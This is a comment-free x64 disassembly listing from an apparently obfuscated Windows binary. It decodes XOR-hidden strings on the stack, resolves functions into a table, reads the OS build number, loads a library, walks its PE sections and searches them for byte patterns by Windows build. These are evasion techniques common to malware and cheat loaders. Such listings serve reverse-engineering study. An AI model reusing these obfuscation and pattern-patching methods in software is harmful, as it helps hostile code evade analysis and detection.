movabs rax, 0x14b8d7e9e70f74e0
mov qword [rbp + 0x8610], rax
movabs rax, 0xf03b94d71987f0d
mov qword [rbp + 0x8618], rax
movabs rax, 0xd6660164968a812
mov qword [rbp + 0x8620], rax
movabs rax, 0x505b266bfab3af9e
mov qword [rbp + 0x8628], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x62d1a38aa67b11a7
mov qword [rbp + 0x8650], rax
movabs rax, 0x7c70dc2e1eea2f68
mov qword [rbp + 0x8658], rax
movabs rax, 0x4e1615793b2fda7d
mov qword [rbp + 0x8660], rax
movabs rax, 0x505b266b8edddaf1
mov qword [rbp + 0x8668], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x8650]
pxor xmm0, xmmword [rbp + 0x8610]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8620]
pxor xmm1, xmmword [rbp + 0x8660]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x60], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x70], xmm5
lea rax, [rbp + 0x5e60]
lea rcx, [rbp + 0x40]
mov rdx, rbx
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14002a5b0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
lea r8, [rbp + 0x5e60]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x1f0], rax
movabs rax, 0x1b7d7c5f7cb46c9b
mov qword [rbp + 0x8610], rax
movabs rax, 0xcb7750d48549d9b
mov qword [rbp + 0x8618], rax
movabs rax, 0x1c12faa2ca598ebc
mov qword [rbp + 0x8620], rax
movabs rcx, 0x135e2a9ad05cdcb2
mov qword [rbp + 0x8628], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6d14083c3dc009dc
mov qword [rbp + 0x8650], rax
movabs rax, 0x7fc4106e2726cdfe
mov qword [rbp + 0x8658], rax
movabs rax, 0x1c6694d7a51afcd3
mov qword [rbp + 0x8660], rax
mov qword [rbp + 0x8668], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8650]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8620]
pxor xmm1, xmmword [rbp + 0x8660]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x60], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x70], xmm5
lea rax, [rbp + 0x4e80]
lea rcx, [rbp + 0x40]
mov rdx, rbx
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14002a720
lea r8, [rbp + 0x4e80]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x1f8], rax
movabs rax, 0xdf499a670d44839
mov qword [rbp + 0x8610], rax
movabs rax, 0x1b552936bf32be99
mov qword [rbp + 0x8618], rax
movabs rax, 0xd3cfd86c21a7763
mov qword [rbp + 0x8620], rax
movabs rcx, 0x102c1bdd9ad7a791
mov qword [rbp + 0x8628], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6c91ebce24a02d6a
mov qword [rbp + 0x8650], rax
movabs rax, 0x7d145943d040f9fd
mov qword [rbp + 0x8658], rax
movabs rax, 0xd3c84f2ab741e05
mov qword [rbp + 0x8660], rax
mov qword [rbp + 0x8668], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8650]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8620]
pxor xmm1, xmmword [rbp + 0x8660]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x60], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x70], xmm5
lea rax, [rbp + 0x4890]
lea rcx, [rbp + 0x40]
mov rdx, r13
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14002a860
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea r8, [rbp + 0x4890]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x200], rax
movabs rax, 0x1b4b34905dfecb33
mov qword [rbp + 0x8610], rax
movabs rax, 0x14456c695b085d8f
mov qword [rbp + 0x8618], rax
movabs rax, 0xa1e651e40
mov qword [rbp + 0x8620], rax
movabs rcx, 0x4f742a2517b
mov qword [rbp + 0x8628], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x7e3946e51e8aae74
mov qword [rbp + 0x8650], rax
movabs rax, 0x67200f06295829e1
mov qword [rbp + 0x8658], rax
movabs rax, 0xa1e015733
mov qword [rbp + 0x8660], rax
mov qword [rbp + 0x8668], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8650]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8620]
pxor xmm1, xmmword [rbp + 0x8660]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x60], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x70], xmm5
lea rax, [rbp + 0x36b0]
lea rcx, [rbp + 0x40]
mov rdx, r13
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14002a9e0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
lea r8, [rbp + 0x36b0]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x208], rax
movabs rax, 0x97181258807bed
mov qword [rbp + 0x8610], rax
movabs rax, 0x48c377fbde1ed652
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x41fb79672cf212bb
mov qword [rbp + 0x8630], rax
movabs rax, 0x48c377fbbd71ba3e
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8630]
pxor xmm0, xmmword [rbp + 0x8610]
movdqa xmmword [rbp + 0x8610], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8620], xmm2
lea rcx, [rbp + 0x1fa0]
lea rax, [rbp + 0x8610]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
lea r8, [rbp + 0x1fa0]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x210], rax
movabs rax, 0x1aabb8860c534f97
mov qword [rbp + 0x8610], rax
movabs rax, 0x5f21a27009144455
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x56c7d9f3782126c1
mov qword [rbp + 0x8630], rax
movabs rax, 0x5f21a270097f273a
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8630]
pxor xmm0, xmmword [rbp + 0x8610]
movdqa xmmword [rbp + 0x8610], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8620], xmm2
lea rcx, [rbp + 0x1930]
lea rax, [rbp + 0x8610]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xb0], xmm1
lea r8, [rbp + 0x1930]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x218], rax
movabs rax, 0xff9cc0577d311c7
mov qword [rbp + 0x8610], rax
movabs rax, 0x185cfe22c54da009
mov qword [rbp + 0x8618], rax
movabs rax, 0x118640125b4b20a6
mov qword [rbp + 0x8620], rax
movabs rax, 0x7755f978137e3c83
mov qword [rbp + 0x8628], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x668da56b3ebf6595
mov qword [rbp + 0x8650], rax
movabs rax, 0x712ebd47bf24cc68
mov qword [rbp + 0x8658], rax
movabs rax, 0x72e3137e3a2849d2
mov qword [rbp + 0x8660], rax
movabs rax, 0x7755f9787d1155f7
mov qword [rbp + 0x8668], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x8650]
pxor xmm0, xmmword [rbp + 0x8610]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8660]
pxor xmm1, xmmword [rbp + 0x8620]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x60], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x70], xmm5
lea rax, [rbp + 0x6030]
lea rcx, [rbp + 0x40]
mov rdx, rbx
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14002ad62
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
lea r8, [rbp + 0x6030]
mov rdi, qword [rbp + 0x30]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x220], rax
movabs rax, 0x15b7c5f22df48f28
mov qword [rbp + 0x8610], rax
movabs rax, 0x174f585a1959f555
mov qword [rbp + 0x8618], rax
movabs rax, 0x824b99afaaee89c
mov qword [rbp + 0x8620], rax
movabs rcx, 0x3a64382a053ca5b
mov qword [rbp + 0x8628], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x70c1a4976198fb7a
mov qword [rbp + 0x8650], rax
movabs rax, 0x7b2e3b336d308716
mov qword [rbp + 0x8658], rax
movabs rax, 0x84ad6f38ecd8dcf
mov qword [rbp + 0x8660], rax
mov qword [rbp + 0x8668], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8650]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8660]
pxor xmm1, xmmword [rbp + 0x8620]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x60], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x70], xmm3
lea rax, [rbp + 0x5000]
lea rcx, [rbp + 0x40]
mov rdx, rbx
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14002aed0
lea r8, [rbp + 0x5000]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x228], rax
movabs rax, 0x1e92cd621e2763c6
mov qword [rbp + 0x8610], rax
movabs rax, 0x4874dfb6857fc85
mov qword [rbp + 0x8618], rax
movabs rax, 0x290e1961376e6b7
mov qword [rbp + 0x8620], rax
movabs rcx, 0x12e0fbaed21f9659
mov qword [rbp + 0x8628], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6cf7b90c5b4b1794
mov qword [rbp + 0x8650], rax
movabs rax, 0x68e62e921c3e8ec6
mov qword [rbp + 0x8658], rax
movabs rax, 0x2fe8eff671583e4
mov qword [rbp + 0x8660], rax
mov qword [rbp + 0x8668], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8650]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8660]
pxor xmm1, xmmword [rbp + 0x8620]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x60], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x70], xmm3
lea rax, [rbp + 0x5180]
lea rcx, [rbp + 0x40]
mov rdx, rbx
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14002b010
lea r8, [rbp + 0x5180]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x230], rax
movabs rax, 0x659a1aeccb18877
mov qword [rbp + 0x8610], rax
movabs rax, 0x1d19596c75770c92
mov qword [rbp + 0x8618], rax
mov qword [rbp + 0x8620], r15
movabs rcx, 0xe0000000200127af
mov qword [rbp + 0x8628], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x693dd5dba4e2fc39
mov qword [rbp + 0x8650], rax
movabs rax, 0x707c2d1f0c2462e5
mov qword [rbp + 0x8658], rax
mov qword [rbp + 0x8660], r15
mov qword [rbp + 0x8668], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8650]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8660]
pxor xmm1, xmmword [rbp + 0x8620]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x60], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x70], xmm3
lea rax, [rbp + 0x3240]
lea rcx, [rbp + 0x40]
mov r8, r13
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub r8, 1
jne 0x14002b140
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rbp + 0x3240]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x238], rax
mov rax, qword [0x1402007b8]
mov qword [r14 + 0x48], rax
mov esi, dword [0x7ffe0260]
mov dword [rsp + 0x30], esi
movabs rax, 0xcf862649dbe89c8
mov qword [rbp + 0x8610], rax
movabs rax, 0x2cea82b3511be533
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x229d100bfed3feac
mov qword [rbp + 0x8630], rax
movabs rax, 0x2cea82b351778957
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8630]
movdqa xmmword [rbp + 0x8610], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x8620], xmm1
lea rcx, [rbp + 0x1570]
lea rax, [rbp + 0x8610]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xb0], xmm1
lea rcx, [rbp + 0x1570]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x1400260d4
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x1400260d4
lea r9, [rdi + 0x108]
add r9, rax
je 0x14002b3e8
movzx eax, word [rax + rdi + 6]
lea rcx, [rax + rax*4]
lea r10, [r9 + rcx*8]
cmp r9, r10
jae 0x14002b3e8
movabs rax, 0xf4ff3f68e2c30
mov qword [rbp + 0x85d0], rax
movabs rcx, 0xaa43d42feae3dec
mov qword [rbp + 0x85d8], rcx
movabs rax, 0xf4f878eeb581e
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movaps xmm1, xmmword [rbp - 0x60]
movaps xmm2, xmmword [rbp - 0x70]
movaps xmm3, xmmword [rbp - 0x80]
movaps xmm4, xmmword [rsp + 0x70]
movaps xmm5, xmmword [rsp + 0x60]
movdqa xmm6, xmmword [rbp + 0x85e0]
movdqa xmm7, xmmword [rbp + 0x85d0]
nop dword [rax]
movdqa xmm0, xmm6
pxor xmm0, xmm7
movaps xmmword [rbp + 0x8610], xmm0
movaps xmmword [rbp + 0x8620], xmm5
movaps xmmword [rbp + 0x8630], xmm4
movaps xmmword [rbp + 0x8640], xmm3
movaps xmmword [rbp + 0x8650], xmm2
movaps xmmword [rbp + 0x8660], xmm1
mov rax, r9
lea r8, [rbp + 0x8610]
sub r8, r9
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14002b3c3
inc rax
test ecx, ecx
jne 0x14002b3b0
test edx, edx
je 0x14002b3d2
add r9, 0x28
cmp r9, r10
jb 0x14002b370
jmp 0x14002b3e8
mov eax, dword [r9 + 0x10]
mov ecx, dword [r9 + 0xc]
add rax, qword [rbp + 0x230]
add rcx, rax
mov qword [r14 + 8], rcx
mov dword [rbp + 0x85d0], 0xcc058d48
mov dword [rbp + 0x85d4], 0x48cccccc
mov dword [rbp + 0x85d8], 0xcc194489
mov dword [rbp + 0x85dc], 0x18438b48
mov dword [rbp + 0x85e0], 0x4486348
mov dword [rbp + 0x85e4], 0xcccc918d
mov dword [rbp + 0x85e8], 0x5489cccc
mov dword [rbp + 0x85ec], 0x8b481419
mov dword [rbp + 0x85f0], 0x63481843
mov dword [rbp + 0x85f4], 0x918d0848
mov dword [rbp + 0x85f8], 0xcccccccc
mov dword [rbp + 0x85fc], 0x14195489
mov dword [rbp + 0x8600], 0x18438b48
mov byte [rbp + 0x8604], 0x48
mov dword [rbp + 0x8610], 0xcc058d48
mov dword [rbp + 0x8614], 0x48cccccc
mov dword [rbp + 0x8618], 0xcc194489
mov dword [rbp + 0x861c], 0x8438b48
mov dword [rbp + 0x8620], 0x4486348
mov dword [rbp + 0x8624], 0xcccc918d
mov dword [rbp + 0x8628], 0x5489cccc
mov dword [rbp + 0x862c], 0x8b480419
mov dword [rbp + 0x8630], 0x63480843
mov dword [rbp + 0x8634], 0x918d0848
mov dword [rbp + 0x8638], 0xcccccccc
mov dword [rbp + 0x863c], 0x4195489
mov dword [rbp + 0x8640], 0x8438b48
mov byte [rbp + 0x8644], 0x48
xor eax, eax
cmp esi, 0x4a61
jb 0x14002b856
lea r8d, [rax + 0x35]
mov rcx, rdi
cmp esi, 0x4a65
ja 0x14002b6c8
lea rdx, [rbp + 0x85d0]
call fcn.140050080
test rax, rax
jne 0x14002b6ab
movabs rax, 0xf5e54375560ff
mov qword [rbp + 0x85d0], rax
movabs rcx, 0xe5d997c2937c4af
mov qword [rbp + 0x85d8], rcx
movabs rax, 0xf5e26582712ba
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movdqa xmm0, xmmword [rbp + 0x85e0]
pxor xmm0, xmmword [rbp + 0x85d0]
movaps xmmword [rbp + 0xa30], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xa40], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xa50], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xa60], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xa70], xmm1
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0xa80], xmm0
movabs rax, 0x10c629564ac9a8df
mov qword [rbp + 0x8610], rax
movabs rcx, 0x1cc55a829b169dc6
mov qword [rbp + 0x8618], rcx
xorps xmm2, xmm2
movabs rax, 0x1af6096b6a9ee09c
mov qword [rbp + 0x8630], rax
mov qword [rbp + 0x8638], rcx
xorps xmm0, xmm0
movdqa xmm1, xmmword [rbp + 0x8610]
pxor xmm1, xmmword [rbp + 0x8630]
pxor xmm2, xmm0
movaps xmmword [rbp + 0x1090], xmm1
movaps xmmword [rbp + 0x10a0], xmm2
movaps xmm0, xmmword [rbp + 0x290]
movaps xmmword [rbp + 0x10b0], xmm0
movaps xmm1, xmmword [rbp + 0x2a0]
movaps xmmword [rbp + 0x10c0], xmm1
movaps xmm0, xmmword [rbp + 0x2b0]
movaps xmmword [rbp + 0x10d0], xmm0
movaps xmm1, xmmword [rbp + 0x2c0]
movaps xmmword [rbp + 0x10e0], xmm1
movaps xmm0, xmmword [rbp + 0x2d0]
movaps xmmword [rbp + 0x10f0], xmm0
movaps xmm1, xmmword [rbp + 0x2e0]
movaps xmmword [rbp + 0x1100], xmm1
movaps xmm0, xmmword [rbp + 0x2f0]
movaps xmmword [rbp + 0x1110], xmm0
lea r8, [rbp + 0xa30]
lea rdx, [rbp + 0x1090]
mov r9d, reloc.WS2_32.dll_recv
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor edx, edx
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x1400260d4
mov dword [r14 + 0x50], 0x118
mov dword [r14 + 0x54], 0x80
